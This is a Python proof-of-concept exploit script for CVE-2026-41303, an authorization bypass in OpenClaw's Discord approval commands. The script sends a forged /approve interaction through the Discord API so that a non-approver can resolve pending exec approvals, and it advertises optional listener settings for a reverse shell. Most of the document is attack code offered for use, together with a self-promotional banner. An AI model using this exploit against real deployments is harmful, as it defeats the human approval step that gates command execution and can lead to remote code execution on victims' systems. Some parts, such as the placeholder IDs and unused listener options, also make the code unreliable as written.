#!/usr/bin/env python3 # Exploit Title: OpenClaw Discord Text Approval Authorization Bypass # CVE: CVE-2026-41303 # Date: 2026-04-21 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://github.com/openclaw/openclaw # Software Link: https://github.com/openclaw/openclaw # Affected: OpenClaw < 2026.3.28 # Tested on: OpenClaw 2026.3.24 # Category: Authorization Bypass # Platform: Linux / Discord # Exploit Type: Remote # CVSS: 8.8 # CWE : CWE-863 # Description: OpenClaw before 2026.3.28 contains an authorization bypass vulnerability in Discord text approval commands that allows non-approvers to resolve pending exec approvals. # Fixed in: 2026.3.28 # Usage: # python3 exploit.py <target> --lhost <your_ip> --lport <your_port> # # Examples: # python3 exploit.py https://openclaw.example.com --lhost 192.168.1.100 --lport 4444 # # Options: # # Notes: # This is a simple PoC script that demonstrates the authorization bypass. # It requires a Discord user token with access to the channel where OpenClaw bot is present. # The script sends the /approve slash command to bypass the approvers list. # # How to Use # # Step 1: Obtain a pending approval ID from the OpenClaw Discord channel. # Step 2: Run the exploit with your Discord token, channel ID, approval ID, and decision. print(r""" ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║ ║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║ ║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║ ║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║ ║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║ ║ ║ ║ b a n y a m e r _ s e c u r i t y ║ ║ ║ ║ >>> Silent Hunter • Shadow Presence <<< ║ ║ ║ ║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║ ║ Handle : @banyamer_security ║ ║ ║ ║ CVE-2026-41303 • OpenClaw Discord Approval Bypass ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════════════╝ """) import argparse import requests import json import time def main(): parser = argparse.ArgumentParser(description="CVE-2026-41303 - OpenClaw Discord Approval Bypass PoC") parser.add_argument("target", help="OpenClaw instance URL or Discord guild/channel context") parser.add_argument("--token", required=True, help="Discord user or bot token") parser.add_argument("--channel-id", required=True, help="Discord channel ID where the bot listens") parser.add_argument("--approval-id", required=True, help="Pending approval ID to bypass") parser.add_argument("--decision", default="allow-once", choices=["allow-once", "allow-always"], help="Approval decision") parser.add_argument("--lhost", help="Your listener IP (for reverse shell if approval triggers RCE)") parser.add_argument("--lport", help="Your listener port") args = parser.parse_args() print("[+] Starting CVE-2026-41303 PoC by @banyamer_security") print(f"[+] Target : {args.target}") print(f"[+] Channel ID : {args.channel_id}") print(f"[+] Approval ID : {args.approval_id}") print(f"[+] Decision : {args.decision}") if args.lhost and args.lport: print(f"[+] Listener : {args.lhost}:{args.lport} (for post-approval payload)") # Build Discord interaction payload for /approve command payload = { "type": 2, # APPLICATION_COMMAND "application_id": "OPENCLAW_BOT_APP_ID", # Replace with actual OpenClaw bot application ID if known "guild_id": "YOUR_GUILD_ID", # Optional - fill if needed "channel_id": args.channel_id, "data": { "name": "approve", "options": [ {"name": "id", "value": args.approval_id}, {"name": "decision", "value": args.decision} ] } } headers = { "Authorization": f"{args.token}", "Content-Type": "application/json" } print("[+] Sending unauthorized /approve command via Discord API...") try: r = requests.post( "https://discord.com/api/v10/interactions", json=payload, headers=headers, timeout=10 ) print(f"[+] HTTP Status: {r.status_code}") if r.status_code in [200, 204]: print("[+] Success! The approval was processed without checking the approvers list.") print("[+] Non-approver successfully bypassed authorization (CVE-2026-41303).") if args.lhost and args.lport: print("[+] If the approved command spawns a shell, you should receive a connection shortly.") elif r.status_code == 401: print("[-] Invalid Discord token.") else: print(f"[-] Unexpected response: {r.text[:500]}") except Exception as e: print(f"[-] Error: {e}") print("\n[+] PoC completed. Patch to OpenClaw >= 2026.3.28 immediately.") print("[+] Credit: Mohammed Idrees Banyamer (@banyamer_security)") if __name__ == "__main__": main()